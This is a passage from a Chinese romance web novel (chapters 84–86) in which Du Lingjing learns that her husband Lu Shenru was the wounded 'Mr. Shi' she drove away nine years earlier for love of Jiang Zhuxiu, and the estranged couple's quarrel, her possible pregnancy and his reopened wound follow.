眸光被掩在水光下颤动,他彻底看住她的眼睛。 杜泠静捂住了抖动的唇,她想伸手去拉他的衣袖,但她没能拉住。 而他开了口。 “你可还记得,那时蒋竹修,还不是你的未婚夫。” 他忽然提了嗓音。 “而岳父最初为你选定的夫婿,是我陆慎如!” 他深深闭了眼睛,倏又睁开。 “但你眼里只有他,从未看见过我。而你为了他,赶我走!” 第84章 殷佑二年, 九年前。 夏蝉从春末便开始吱吱齐鸣,无论家中的仆从怎么粘,勉楼附近的高树上, 那些葱郁的遮天蔽日的树叶里,仿佛生出另一个熙熙攘攘的世间, 随着夏日迫近, 鸣蝉只见多,不见少。 青州杜家的仆从们连着挑竹竿粘了好些日不见效,父亲便道罢了,“心静则凉, 吵杂也是一个道理。” 他又问杜泠静,“我儿可觉得吵得心烦?” 杜泠静还算坐得住, 她并不觉得太吵,却觉得身边少了一人,日子空空无趣,连个说话的人都没有。偏偏她眼睛自幼不好, 多看几本书, 父亲就让她停下不许再看, 天一热,连进勉楼看书的读书人都少了。 她同父亲浅提了两句夏日的无趣, 父亲却笑道,“无事赛神仙, 我儿才刚及笄,时间大把, 难懂着闲散无趣的妙处,却不知世间刀尖奔命的人,想要这份安逸闲散都是肖想。” 她觉得父亲说得对, 却不曾试想,父亲说得其实确有其人,正是偷偷藏在了勉楼的隔层里,满身是伤、险些丧命的人。 此事她一直不晓得,直到书楼里进了一只难搞的耗子,完全不知书中圣贤如神明,到处乱啃,她无暇再闲散无聊,开始带着阮恭秋霖他们,到处在楼里捉耗子。 就在一日,她追着耗子,误打误撞地闯进了隔层里。 那日她没捉到耗子,却在昏暗中,意外捉到了一个人。 她吓到神魂俱飞,没敢等人开口,就跑出了勉楼。恰父亲正往勉楼里来,遇见她面色发白地跑出勉楼,赶忙拦了她。 “我儿这是怎么了?” “爹!勉楼竟有隔层,隔层里还藏有人……” 只是还没说完,父亲连忙给她比了个小声的手势,她恍惚,却见父亲笑道。 “爹知道了,他本就是爹让他藏进去的,静娘万万不可说破,此事万不可让别人知道。” 父亲简单跟她说了两句,说那人是因被人追杀,又受了重伤,才藏身到了勉楼里,但他不是坏人,祖上与杜家亦有渊源,所以留他在此。 关于他的事,似乎事关隐秘,父亲并不多言,只道他姓史,接着又问了她方才闯入隔层的情形,听说她还拍了人家一下,不禁道。 “不知有没有打到他伤处,那隔层闷热,他藏在那处养伤也是不易。” 杜泠静把这话听进去了,心里甚是尴尬,不时返回了楼上,隔着墙板,轻声跟他道了歉。 “抱歉,把你当作勉楼里啃书的耗子了……” 她问去,隐隐听见他似乎极轻地笑了一声,才道。 “无妨。” 她心想他是不是在笑她,更窘迫几分。 “那我方才有没有碰到你伤处?” 他没说有也没说没有,嗓音温和,“别担心。” 这四句之外,他们没再说旁的话了,不过她因此事尴尬,好几日没来勉楼,等想起那只到处啃书的大耗子,再去勉楼里找的时候,却发现那只烦人的耗子早就不见了…… 夏日终是在遮天蔽日的蝉鸣声中到来。 她知道了他在隔层里养伤,没敢再去打扰,而他伤势很重,天越热他养伤越是艰难,亦没有什么动静。 阮恭的父亲阮大管事从乡下田庄里,领来了一对识得几个字的龙凤胎,到她身边伺候。两人道是端阳节的生辰,她便做主取了名,哥哥唤作菖蒲,妹妹名叫艾叶。 妹妹艾叶做事认真细致不苟言笑,但哥哥菖蒲却是个不消停的,到了勉楼没多久,就同附近庄子里的人熟络了起来。 好巧不巧附近庄子里在闹鬼,全被他听了去,又添油加醋地说到众人面前。 他这么一说,弄得她晚间要去勉楼,秋霖就拉着她怕兮兮地劝,“姑娘别去了吧,勉楼晚间无人,满楼都是些古书旧书,万一书里藏着鬼……” 她说着都打寒噤,杜泠静也不免被她扰乱,心下恻恻,可总不能以后晚上都不去勉楼了。 她便没让秋霖跟着,自己挑灯去了楼中。 谁知那日也是邪门,她刚到二楼,不知从哪出来一阵风,手里的灯突然灭了。 刚及笄的姑娘,冷汗都冒了出来,而她手里没了灯,连楼都不好下了。 她立在层层排排的书架中间,不知所措,暗暗在心里求祖父保佑,但也不知有没有用。 就在这时,有个声音叫了她。 “姑娘别怕,我把火折子放到窗下了,你过来取吧。” 是他!那个隔层里的史公子! 她见稀薄的星光中,窗下地板上,果真放了一只火折子,她连忙走过去,不时点亮了手里的灯。 “多谢公子!” 她道谢,听见隔层里的人声音很轻,他没跟她客套,只是道。 “我一直在楼中。” 她微怔,但也明白了他的意思—— 他一直在楼中,她不必害怕这里有鬼。 她心下感激,回去就给菖蒲立了规矩,让他不许再乱说鬼神之事。而后晚间再去勉楼,心里想着楼里不是完全无人,当真就踏实了下来。 接着许多日,家中来了些读书的仕子,父亲与他们交谈,又允他们流连于勉楼之中读书作文,因着人不少,她不便再去,只留在自己院子里。 如此一晃许多天,直到某日,父亲抽不开身,让她帮忙去勉楼里,给他送一种特殊的伤药。 那药十分奇怪,她问他会不会用,他道不会,她只能进去给他演示,但她不知踩到了什么,她脚下一崴,人差点摔倒在暗不透光的隔间里。 但他忽然起身,手托在她腰上,稳住了她,而他亦慌乱扶在了他身上。 不知谁人道了句,“那处有伤!” 此言一出,她更吓了一大跳,手慌乱地不知往哪里放。 “公子你还好吧?” “没事,”她看不清他的面目,只听他问她,“可曾崴了脚?” 杜泠静连忙摇摇头。 他又道,“那你慢慢站稳,不急。” 但杜泠静何曾与男子有这般接触?她再没多留。 道了句“抱歉”,放下药赶忙走了。 她又是好些日没去勉楼,但却去了一趟蒋家。 她恰好替父亲给蒋家伯父送去几篇文章和友人的信,两家在青州守望相助,素有往来,蒋家人无不认识她,她一直往里面走,恰遇到蒋家伯母,也就是三郎的母亲,在同惠叔说话。 惠叔可巧从山上回来了,正带来了三郎的消息。 他笑同蒋家伯母道,“三爷如今身子恢复得可好了,隔三差五地,就往后山爬上一趟,道长说他快能下山回家了。” 蒋家伯母听得欣喜不已,杜泠静亦听到了这话,也是高兴得不行。 三郎自秋闱之后,虽高中一省解元,拔得头筹,却也耗费太多心神,到了冬日里再无法进京赶考春闱,只能卧病在床,这才经人介绍了一位山中道医,开春后便前往山中道观里调养,一走小半年了。 蒋家伯母听闻他快能下山,更是开怀,一边问他何日回来,又道,“咱们同杜家那事,是不是该提一提了?” 杜泠静略略意外,却听惠叔道。 “那事可是三爷心头的紧要事,这次三爷上山调养,一面是为了日后举业,另一面,自就是为了把身子养好,方能往杜家提亲。” 提亲……原来他上山是为了这个。 杜泠静不曾听他说明过,这会惠叔道,“三爷只怕还调养得不够好,想等着暑夏过完,再下山来,亲自到杜家去提。” 惠叔还道,说旁人过完暑热夏日,都要消瘦三斤,“但三爷近来吃饭却上心得很,每日多加一餐,勤往山中走动,想来是盼着身子好起来,看着也健壮些,才好往杜家去。毕竟姑娘是阁老的掌上明珠,三爷觉得若不备万全,怎好去提?” 杜泠静怔在当下。 她听见蒋家伯母反复念着佛,“只怕我儿必能得偿所愿!”她又道,“那我先把礼都备起来,等他回来便能往杜家去……” 那日她从蒋家回来,脸上发热发红,只略略想到方才听到的三郎的打算,心口就一直快跳。 其实这件事情,早已有了苗头,两家的人都能看得出来,沧大哥的母亲还曾故意拿花笑过她和三郎。两家世代交好,她与三郎青梅竹马,门当户对。 至于父亲,父亲虽未说过什么,但他一向赏识三郎才学,对三郎也是多有提点。 但她在蒋家听来这事,却没好意思同父亲将。而父亲似乎颇为忙碌,几乎每日都同人书信往来,或者请人来家中,晚间闲余之时,还到勉楼里,与隔层里的史公子闲叙。 夏天渐渐到了末尾,蝉鸣并未见消停,但是史公子好像身子明显好转,父亲有时与他竟能谈到深夜。 不过杜泠静还是没再见过他,与三郎通了两次书信,没问提亲的事,只问他在山中如何。 不想又过几日,她无意间竟然听到父亲吩咐阮恭的父亲阮大管事,要给她把嫁妆备起来了。 当时她弄出了响动,父亲一眼看了过来,她不得不上前,干脆问了父亲。 “爹要把女儿嫁出去了?” 爹道只是备起来而已,“我的静娘还小呢,爹也舍不得,只是孝期一过,爹要回到朝堂去,届时事多且繁,便想着不若先给你把亲事定下来。” 三郎要来提亲,父亲也要给她定亲。是不是蒋伯父那边,已经同父亲通过气了? 她耳朵热起来,父亲则问她,“我儿觉得如何?” 她还能有什么疑问,脸上的热都蔓到了脸上。 “爹做主吧。” 那日爹爹抚了她的肩头,“好,爹会替你定一位好夫婿的。” 夏日彻底只剩下尾巴了,祖父的忌日在即,她翻出祖父一位不知名的友人赠的胡笛,想吹去祖父坟前,但那胡笛坏了,怎么都修不好。 没等她把笛子修好,三郎回来了,还到了她家里来。 她闻讯的那日,提着裙子跑出了勉楼。 三郎在父亲的书房里,她刚靠近,三郎就看见了她,但父亲没看见,三郎极快地跟她笑了笑。 他果是把身子养好了许多,人也更长高些许,银袍玉带地立在父亲面前,已同寻常人无甚区别。 他而向父亲郑重行了一礼,父亲挑眉看去,他脸色露出三分红晕。 “伯父,谦筠今次前来,是想问一问静娘可有婚约在身?若无的话,蒋家可否前来提亲?” 他办事稳妥,是想先问过父亲,得了她父亲首肯,才礼数周全地前来提亲。 杜泠静在窗外听见,心头都快跳起来。 可不想父亲却抿唇沉默了几息,接着向谦筠看去。 “谦筠,我已为静娘选定夫婿了。” 话音落地,书房内外都陷入了沉寂,杜泠静愣住,听见三郎怔着问了一句。 “是何时?” 父亲回答了他,轻叹一气。 “就是近日。” 他来晚了。 但她父亲的话也已十分明显。 三郎恍惚地站起身来,“那小侄叨扰了……” 杜泠静再没想到会出现这等状况,大惊失色,她一步闯进来父亲的书房里。 父亲看见她,“静娘?” 她却见谦筠面色发白,欲上前,却被父亲叫住,“你过来。” 谦筠最后看了她一眼,如夜间繁星的眸中,此刻恍如星月坠落。 他离开了书房,她问父亲。 “爹为什么拒绝谦筠?爹不是要为女儿与他定亲吗?” 父亲爱怜地看着她摇头。 “爹为你选的夫婿不是谦筠,是勉楼隔层里的史公子。” 史公子…… “女儿只与他说过几句话,根本不知他是谁?爹怎么能为我定一个陌生人做夫婿?!” 她难以置信,又想到谦筠离去时,星月坠落的眼眸。 她心下慌乱得难受,要去追谦筠,但父亲不让她走,他说那史公子不完全算陌生人。 “他祖父与你祖父便是相识,从前也曾立下两家结亲的约定,只是时间久远了,都不曾提及,也没当回事。” 父亲说他今次见了对方家中的后人,也就是那史公子,“我只稍稍提了提婚约之事,人家就立时回应了。” 父亲看着她,缓声,“那孩子对你甚是有意,道旧约不该背弃,他愿娶你过门,珍而重之,携手百年。” 杜泠静脑中轰轰作响,她问父亲,“因着祖父口头旧约,父亲就要将我嫁给她?!” 她难以接受,但父亲说不是,他看向勉楼。 “爹岂会随意将我儿嫁给旁人?但他确实比谦筠更合你,爹不会看错。” 但她听不进去,眼泪急急滚落,偏父亲认为长痛不如短痛。 “你把谦筠忘了吧。那孩子也很好,你会与他熟悉起来的。” 但她只是摇头。 她说服不了父亲,想了又想,干脆上了勉楼,去了他养伤的隔层外。 “史公子,你在吗?” 他立时就回应了她,“你说。” 十五岁的姑娘,再不会想到里面这人,是陆惟石,是兜兜转转最后还是做了她夫君的人。 彼时她只是道。 “幸得公子青眼,但我已有心上人,想来公子今日也看到了,我不可能嫁给公子。” 她一口气把心中的话说了出来,她跟他说明白。 她说她喜欢别人,说她不可能嫁给他。 她料想如果他见状退步,父亲也不能再强求。 但他什么也没说。 隔层内的沉默如水般往外漫来。 陆惟石无有回应,却不禁令彼时的小姑娘心下不确定起来。 若是寻常人听见她这话,怎么可能不做成全? 但他不言语,她心下慌乱,她又等了他几息,想等他出言成全。 可他低声。 “还请姑娘三思。” 他不同意! 杜泠静彼时讶然惊诧,隔层里隐隐有目光轻缓落在她脸上。 她隔着木板看不到他,但若是日后,她定会看到他如墨的深瞳中,映着她的样子,缓缓流动着他浓重得化不开的心意。 但那时她却不禁地踉跄。 她想她不要这个人,不管他是谁! “我无需三思!” 她急着放下这话就离了去。 当天她没再来勉楼,次日她也没再上楼,只让秋霖去把她惯用的物品都取下来。 勉楼她不准备再来了,直到他离开。 可他那晚却把她拦在了月亮门后。 这是她第一次见他出现在勉楼之外,他不便示人,只能站在阴影里,而身上的伤还没好,行动不便。 但那时她未曾替他考虑过这些,她只想这个人怎么会这样,她都说了不想嫁他,他却还拦。 他想跟她再多说几句,可她只觉又气又恼,仿佛被他缠住。 她横了心,跟他放了冷话。 “我不想知道公子是什么人,也不想知道公子要跟我说什么。我只知道,你我不该再见。” 说完,她根本不容他多言,更是看都不想看他一眼,转身决然离去…… 京城澄清坊的西路西厢房里。 杜泠静看向身前的男人,他身上血腥气弥散,他目光低低压在她眼帘上,浑身散着与九年前相近的伤痛气息。 他是史公子,更是她如今的夫君陆惟石。 杜泠静眼睛酸涩得难受,但她那年在他面前说过的狠话,还不止如此…… 那日之后,父亲劝她好好再想想。 可她睁开眼睛闭起眼睛,都是谦筠脸色惨白离去的模样。 他才刚刚养好身子,他是为了体面地在父亲面前求娶她,才在那孤寂的山中道观,养了半年,他早已在心里思量提亲,可父亲轻飘飘一句话,就把谦筠拒之门外。 她终是去找了他,谁想她到的时候,正看到谦筠咳喘着,一口血吐在了帕子上。 她大惊,再看他模样,这才短短几日,他好不容易养好的身子,已迅速消瘦下来。 他见她出现在他面前,还想去藏那血帕,但她却从他手中抽走了那帕子。 “三郎,我不会嫁给隔层里那人的。就算父亲中意他,我也不会嫁给他。” “可是泉泉,也许他就是你的良配。”他也说她父亲,“不会看错……” 杜泠静却下定决心回了家,不顾他连番阻拦。 她先到了父亲面前,爹看到血帕,深深皱了眉。 可爹还是不肯松口,反而看着那帕子。 “谦筠是好,处处都好,爹亦爱重他。可爱重他文才,和把女儿嫁给他是两回事。静娘觉得爹爹会把自己的掌上明珠,嫁给一个可能寿数不永的人吗?” 爹直言,“他恐怕难以与你携手百年,只会早早地撇下你离去!我儿还不懂吗?” 父亲嗓音中已有了三分哑意,可她更落了泪。 “可是爹,我不在乎,哪怕三郎只能再活三五年,我也不要弃了他,嫁给别人。” 父亲深深闭了眼睛,见她执意,提了个折中的办法。 “那你的亲事,就再过三五年再说吧。” 他没说三五年后谦筠如何,反而目光望去勉楼,缓声道了一句。 “人家愿意等你,多久都行。” 陆惟石愿意等她,等多久都没有关系! 可她彼时听见这话,简直感觉如被鬼魅纠缠,她又惊又怒。 “他就非要娶我?!” 她再次去了勉楼,时隔多日后的踏足,径直到了他的隔层外。 “怎么了……”这次没等她开口,他就轻声问来。 从前她还觉得史公子是知礼之人,如今再听见陆惟石温言软语与她说话,只觉烦闷不已。 她叫了他。 “公子,我晓得你对我有意,可我从不曾见过公子真容,亦不知道公子是何人。公子于我来说,远如天边流星,你对我有意,我却无法回应。天底下也没有我必须回应的道理吧?” 她擦掉眼中的泪,手下却更攥紧三郎的血帕,就在陆惟石面前。 她告诉他,三郎去山里养病,就是为了养好前来提亲。 “……他去山里养了近半年的身子,他本来都快好了,今日却咳了血……” 他非要等她,到底是在等什么,是等三郎熬不住病逝吗?! 那他这所谓的“等”,算不算逼人到死? 她看他的眼神里只剩下厌恶与敌意,她的讨厌与敌意,在陆惟石面前丝毫不加掩饰。 “公子别再等我了,就算他死了,我绝不会嫁给公子。” 她道,“勉楼我不会再来了,直到公子离开!” 她说完就转了头。 这次他也沉默了一下,但没有太久。 他低声开了口,他似乎极淡地笑了一下,暗含着三分自嘲。 那年,惟石跟她说得最后一句话,在她的厌恶驱逐之下。 他说好,“我会立时离开,与姑娘此生再不相见。” 他终于松口了,但她还是没回头再看他一眼,一眼都没有。 待次日早间,父亲告诉她,与他的婚事作罢,他已经离开了杜家。 她把他赶走了。 他就那么走了,带着一身还没养好的伤痕与伤心,于深夜中远远离去,再没回来过。 次年,她和谦筠定了亲。 …… 京城,此时此刻,惟石嘶哑的嗓音反复响在她耳中。 “史公子,我就是那个被你厌弃不已的史公子。” “你可还记得,那时蒋竹修,还不是你的未婚夫。” “岳父最初为你选定的夫婿,是我陆慎如!” “但你眼里只有他,从未看见过我。你为了他,赶我走!” 她抬头看向男人,从前她赶走的那个伤痕累累的少年,其实如他所言,一直一直都在等她。 他也如那年闹鬼的时候一样,一直在令她害怕的黑暗之中守着她,从不曾离开,但也从不曾打扰。 直到三郎死后的第三年,他才求了圣旨赐婚,他再不提旧事,只想与她忘却前尘,从新开始…… 杜泠静的眼泪止不住,“对不起。” 她伸手想去拉他的手,但他不许她拉他,只是就这么看着她。 “与蒋竹修相比,我陆慎如在你心里就不值一提,是不是。” 杜泠静心口发疼得难受,反复抹去眼角的泪。 “不是,绝不是!你在我心里亦重千金!” 可他却淡笑了一声,他在嗤笑,如墨的深瞳中满是自嘲。 “千金?是吗泉泉?我怎么不敢相信。” 第85章 他不信。 西路西厢房里, 竹香被暑风吹散,杜泠静看去他兀自嗤笑自嘲,再不知道自己说什么, 才能让他相信。 血气代替竹香在房中弥散,刺激到杜泠静鼻下, 她胸腔一阵翻腾, 可却意识到了什么。 “为何那么快就回来了?你的伤……” 只是她还没说完,就被他打断。 “我不回来,娘子又要离京,这一次崇安还是没能拦得住你, 再过半月我回京,连自己妻子去向何处都不知道。” 他反问她, “我敢不回来吗?” 杜泠静惊诧向他看去,原来崇安还是俱都把她的思量禀给了他。 偏偏他误以为,她要走,只是为了要离他而去。 他以为她把三郎的死, 全都归咎到了他身上! 她终于明白他为何一路急奔而回, 又不管不顾地闯入这房中, 更说出那些他平日里再不会讲的话来。 “惟石,我要回青州, 只是想去找寻三郎为何自杀的真实原因,并不是要离你而去!” 他身上血气极重, 她不知道他又受了什么伤,可不管是什么伤, 连日不休地打马疾驰,谁人也吃不消。 她又重复,“我真不是要平白离开。” 她看向他的眼睛, 一字一句地跟他确认。 “你我已是夫妻,我怎能随意离你而去?” 她声音轻柔许多,盼着能消解他一路赶回来的误解与惊怒。 男人亦微顿,可停顿只有一息,目光就又落在她此刻穿在身的素衣白裳上。 他给她做了那么多鲜艳的衣裳,可他只要离开,她就换上这素衣,为她的三郎而穿。 他紧紧抿唇。 杜泠静也意识到了他在她白衣上停留的目光。 她心下急叹,她方才之所以不想让他直接进来,正是因为这身衣裳。 她立时就跟他解释,“我非是要再为三郎‘披麻戴孝’,只是穿这身旧素衣,想唤他入梦而已。” 可她刚说到此处,他眸色紧紧压下来。 “你就这么想他?白日里见不到,就只能梦里与他相见?” 他嗓音低压得迫人,但杜泠静却看着他恼怒的模样,心下发涩发疼。 她跟他摇头,“不是这样,我一时无法找到缘由,只能寄此询问。” 她不想再让他多想,把自己心里所思的每件事都跟他说了出来。 “……三郎自尽,是我怎么都想不到的。可我也绝不相信,是你强迫他至此。” 她再也不会似九年前那样,将三郎吐血都归咎到他身上,要把他赶走。 杜泠静看着自己的夫君,柔声。 “所以我想回青州,把这件事弄明白。” 如此才能真正平静地送三郎离去,又给惟石一个透透彻彻的清白。 这才对两个人都公平。 她把话都说了,希望他能冷静几分。 他身上一定还有不浅的伤,一味地惊怒,伤口又怎么得好? 她想拉他至少先坐下来歇一歇,但他不肯坐。 他并没因她这一番清晰的解释而缓了神色,房中静静的,连同院中,连同整个澄清坊杜家都静默下来。 他低声。 “泉泉觉得,就一定能找到原因吗?他已过身三年有余。” 杜泠静也知道三郎走了三年多了,可是自杀不是小事,饶是三郎非是凡夫俗子,也必然有他的原因。 她觉得自己能找到。 可他问,“若不能呢?” 她说一定能,“我想给你一个清白。” 她目光朝他看去,然而他却笑了。 “我陆慎如从头到脚都是骂名,他们骂我是侮辱祖宗的乱臣贼子,废长立幼、祸乱家国,这些骂名多了去了,就算他蒋六或是其他人都指我害了蒋竹修,又能怎么样?他们能撼动我什么?” 他只在乎他的妻,因此要离他而去。 陆慎如闭了闭眼睛,过往的痛意从过去翻腾出来,与今朝叠加着,在他心头撞击。 杜泠静亦彻底酸涩了心头。 他确实浑身都是骂名。 明明豁出性命保家卫国,为边关安危殚精竭虑从不曾有一丝懈怠,可朝里那些文臣只会骂他,让宫里提防他,令百姓唾弃他。 他是都不在乎,可他不是祸国殃民的奸佞,分明是兢兢业业的忠臣,为何要背负这样的骂名? 三郎的事也是一样,若与他无关,他为何不要一个清白? 她压下哽咽,“你能不能相信我?我一定可以找到真正的原因!” 但他还是摇了头。 房中有些久不住人的闷湿尘气,在竹香散去之后,从昏暗的角落里释放出来。 两人皆被那闷旧的气息包围着,她听见他极淡地笑了一声。 “如果泉泉找到的真正原因,就是,他因为我一年又一年地执意等待,才无奈自尽,”他问她,“你当如何?可还能似之前那般,叫我一声夫君,安心与我相守?” 他问,看紧了她的眼睛。 “你还能吗?” 话音落地,杜泠静脑中空了一息。 如果是那样,她可能需要些时间,重新把事情慢慢厘清…… 她在一瞬间,没能答上他的话来。 可她着短短的一瞬的停滞,却令男人止不住地笑了起来。 他低笑着,看着眼前的他的娘子。 “所以若真如此,你还是要弃我而去,我们之前的日子你也都不要了,是不是?” “不是……” “泉泉查清真相,所谓给我一个清白,其实是因着,舍不得让你的三郎受一丁点委屈,就跟九年前一样,对不对?!” “不对!” 但他已经不容杜泠静再说了。 他忽然转了身。 杜泠静看到他高挺宽阔的后背,那之前一直没能痊愈的伤处,此刻大片的血从他山棕色的锦袍里面渗透出来,比起之前刚受伤的时候,洇湿更多,血气更重。 可他却嗓音极其冷厉地吩咐了左右。 “带夫人回侯府,日后无有我令,不许她再出门,更不许她,同蒋氏有关的任何人接触!” 杜泠静向他望去,他跟她说了最后一句话。 他回过头来,满浸痛色的墨眸沉沉看着她。 “无所谓了。反正,你是我陆慎如明媒正娶的妻子,就算满心满意都是他,你今生也只能做我的妻!” 与她的三郎再许来生吧。 话音落地,他再不回头,他大步出了这尘气逼人的西路西厢房。 当年伤人的话如同一根针扎在他心头,九年了,从不曾被拔出,反而在他的有意压制之下,越扎越深。 深到平日里看似不痛,却早已扎进了心口最里间。 “惟石!” 他走远了。 * 积庆坊,永定侯府。 杜泠静被拦在了远岫阁院门外。 守门的侍卫难为,“夫人,侯爷有令,不许您进侯爷的远岫阁。” 杜泠静深深皱眉,往里看去,“那能不能再帮我禀报一声,说我想见他。” 侍卫无措,到底还是去了,但回来的时候,跟他摇了头。 “夫人,侯爷不愿见您。” 不愿见。 杜泠静咬唇,只能攥手立在了他的院门外。 远岫阁卧房中。 房中昏昏暗暗没有挑灯,男人沉默地立在黑暗之中。 他不禁回想方才在澄清坊里,他问去若蒋三的自尽就是与他脱不了干系,她待如何。 她一时没应他,所以就是犹豫了,他再怎样都比不了蒋三。 思及此,心头起伏起来,肩臂上那撕裂的伤更疼了,漫去四肢百骸,可他转头看到了刀架上那柄二弟的银雪剑。 二弟生前最后一日,早间起身兴冲冲给他说的话,犹在耳边。 “哥,我昨晚做梦了。我梦到你把她娶到我们家里来了!我梦到你们成亲了!” 那时候他摇头嗤笑又自嘲,“她这么厌恶我,怎么会愿意与我成亲?青州的事,以后不必再提。” 但二弟却不肯放他走。 “可是哥,我总觉得你们还有缘分!” “哥你何曾如此喜欢过一个人……” 昏暗的房中,二弟的银雪剑映着窗下的亮,闪着细碎的微光,就如同二弟那没出息地眨巴着劝他的眼睛。 那一日,二弟没了。 他信了二弟的话,也是他自己心里确实放不下。 这么多年,他终于如二弟所言,把她娶回了家。 可她呢? “若我不用强,她早晚会走。人是娶回来了,但也就仅此而已。” 她唤他夫君,主动入怀,说他英俊无人可比,但这些到她的蒋三郎面前,就如幻沫崩破,云雾消散了。 银雪剑上的光微弱地闪动着,男人闷而不言,肩臂上的伤更痛三分。 崇平在门外询问,接着又端了治伤的药走了进来。 “侯爷,属下给您换药吧。” 他静默地坐到窗下的交椅上,只是目光莫名地往院门口的方向看了一眼。 不想他就看了一眼,崇平就开了口。 “侯爷,夫人想见您,一直在院外等您。” 崇平小心翼翼地开口说了这一句,他瞧向侯爷。 这一路打马急奔只为夫人而来。眼下夫人想见他,他又不肯见了。 崇平轻声询问过去,却只见他几不可察地顿了顿,英眉仍旧紧压着 “不见。”他道。 崇平心下叹息,有意想劝上一句,然而还没开口,侯爷已瞥了他。 “你亦出去。” 这下连崇平都不得留了。 他哪里还敢再多言?只能把药留下,低身退去。 陆侯独自换了药。 昏暗的房中,他连灯都不想点,解开肩臂上缠绕的绷带,血肉与布带黏连之处,痛到钻心。 他却直接撕扯下来,扔去了一旁。 剧痛令他眼前不禁晃了一晃,他闭了一息眼睛,接着在那伤处匆促上了药,就随意用布带缠了起来。 血在渗,但他无意理会,直接穿起了衣裳。 远岫阁外。 杜泠静等了多时,暑热蒸人,胸中翻腾都被她压了下去,但云层之外露出了火辣的日头,饶是她立在树荫之下,此刻有些难耐。 谁料下一息,她忽的晕眩起来,她只觉天旋地转,止不住地往一旁侧倾而去。 “夫人!”秋霖连忙扶住了她,却也吓了一大跳,“夫人怎么了?!” 杜泠静还有些恍惚,“我也不知怎么了。许是天热罢了。” 她先前就热得吃不下东西,不想今日竟然发了晕,幸亏没倒下。 她摇摇头,欲让自己情形一些,可秋霖却将她看了又看,忽的道。 “夫人可有留意,您有好些日子没来月事了,会不会……” 她这么一提醒,杜泠静才想起来自己近来诸事缠身,确实没留意此事。 此刻她不禁低头向腹中看去,衣衫遮掩着,什么也看不出来。 她嫁他这近一年来,大多时候行事之后都吃了避子药,只有近来的少数几次没吃,难道…… 她真有与他的孩子了? 杜泠静有些恍惚。 秋霖也不住看向她小腹间,她回了神,低声吩咐了秋霖一句。 “先不急声张,过几日去请个大夫来确认一下。” 秋霖连连点头,可又见她脸色不妥,劝着。 “若您真有身孕,再不能日头下站着,还是先回去歇着吧。” 但杜泠静摆手摇了头。 “我无妨了。” 她只晕了那一时,此刻已恢复。 她又往里间看去,正好看到了崇平。 崇平亦看见了她,快步走过来。 “夫人怎么脸色不好?会否中暑?您还是回去吧。” 杜泠静听这话就明白,“他还是不肯见我,是不是?” 崇平闻言叹气,“侯爷连属下都撵了出来。” 他说侯爷都没让他上药,但伤势有些严重。 崇平刚说完,就见夫人问了来,“是不是先前的箭伤,这次撕裂了?” 崇平微讶,侯爷不许他们告诉夫人,夫人竟一眼看出来了。 若是真对侯爷无意,怎会一眼瞧出? 崇平一时没言语,杜泠静却着急了起来,她不禁往远岫阁里而去,守门的侍卫惊得要拦,但崇平却给他们使了个眼神。 侍卫们一时没上前,只见夫人快步往侯爷卧房去,恰这时,侯爷从房中走出来,立在石阶上,正与夫人遇了个正着。 杜泠静一眼瞧见他,便看到了他透白的脸色,连唇色都落了下去。 “你是不是撕裂了伤口?若不让崇平给你换药,就请王太医来给你重新看伤,好不好?” 说到最后,她仰着头隐隐求他。 可男人目光只在她脸上落了一瞬,就立时转开了去,又一跃落在守门的侍卫身上。 “是谁放夫人进远岫阁的?!”他立在石阶上冷声含怒,“自去领五十大板!” 这么热的天,五十大板都快把人打死了。 杜泠静这次一步上前,拉住了他的手腕。 “是我非要闯进来的,你要想打就打我!” 她仰头看去他,陆慎如的目光亦自上而下地瞧住了她。 风丝都惊怕地停在了原地,树梢上的叶片不敢发出一声响动,连蝉鸣都滞了一时。 男人眸色浓重得化不开。 她怎么能说这样的话?他何曾舍得动她一根手指? 但杜泠静不是要拿话气他的,她握着他的手腕,他腕间骨骼如铁,她握不住,只能下滑半攥上他的手。 他无有反应,只一味沉着一张执意的脸。 杜泠静今日因哭泣而酸胀的眼睛,疼得难受,此刻胃中又是一阵翻腾。 她压着,柔声。 “我知道你不想见我,我可以走。但是让崇平去请王太医过府,重新给你看伤。” 他没说行,也没说不行。 杜泠静则直接叫了崇平,“去请王太医来。” 崇平立时应是。 他脸色沉着不定,没人敢此刻在他脸前多言。 杜泠静又握了他的手一时,见他抿唇不肯跟她说话,只能缓缓松开了他。 “我回去了。” 她走了,暑夏的骄阳炙烤着人。 陆慎如的目光一直随着他娘子的裙摆离去,直到消失在远岫阁的院门边,半晌,他才缓缓收回。 又继续沉着脸去了书房。 * 杜泠静晚饭没能吃下,但人异常地疲累,翌日睡醒的时候,日头都高升了起来。 她起了身就连忙将崇安叫了过来。 “侯爷呢?” “皇上召侯爷入宫了。” 昨日刚回来,今日就召进宫,皇上倒是看重他,一刻都不让他得闲。 杜泠静微微皱眉,又问,“那侯爷伤势如何了?王太医怎么说?” 崇安回王太医来看过了,“王太医说还有救,但王太医替侯爷仔细算了算,说最多还能再经一次撕裂,再多一次的话,只能帮侯爷把这条胳膊卸了,看看能不能安个木头的。” 杜泠静:“……” 王太医说话虽不中听,但疗伤的医术却是好的。 她又多问了几句,听说他入宫之前还是沉着脸,她也不知该说什么了。 不过崇安巴巴地看着她,“夫人就别出门了。” “知道了。”杜泠静叹气,却又道,“我哪里也不去,我在家等他回来。” 崇安连声道好,恢复了的腿脚跑着去了。 倒是菖蒲嘀嘀咕咕,“小的平日里与侯府侍卫插科打诨,原以为熟络得不行,谁想关键时刻,一个放我出门的都没有。夫人胃口不好,小的还想去外面给夫人买些可口的来呢。” 在这侯府里,哪怕是永定军中,侯爷之命大如山。 杜泠静摇摇头,说自己不用吃,又同菖蒲道,“也不用想着出去了。” 菖蒲乖巧地应是。 他们是出不去,但有人却进得来。 陆慎如还没回来,前些日被杜泠静支出去的阮恭,却从青州回来了。 他带回来了两大箱的东西,到杜泠静面前。 “夫人,这些都是昔日三爷留下来的。小的想着自己分辨不清,夫人或能从中发现什么,便都带回来了。” 第86章 京城, 宫中御书房。 皇上比陆慎如这个受了重伤、又连日奔波的人,还显苍白消瘦。 明明才不惑的年岁,正是春秋鼎盛的时候, 可面颊凹陷着,仿佛连模样都变了几分。陆慎如是晓得他自登基以来, 身子就不甚康健, 小病不断。 今岁是皇上在位的第十一年,他原以为皇上这般年岁,不至于轰然崩塌,怎么还能再撑几年, 如今看来,实不乐观。 连皇上自己都道, “今夏京城缘何如此炎热,朕是吃不消,待万寿节之后,该择一清凉处, 避暑月余。” 往前几年皇上也会炎夏出去避暑, 不过这次他又吩咐了几句。 “不知会否因为朕近来精神不济, 总觉边防不安。” 他这么一说,陆慎如连道, 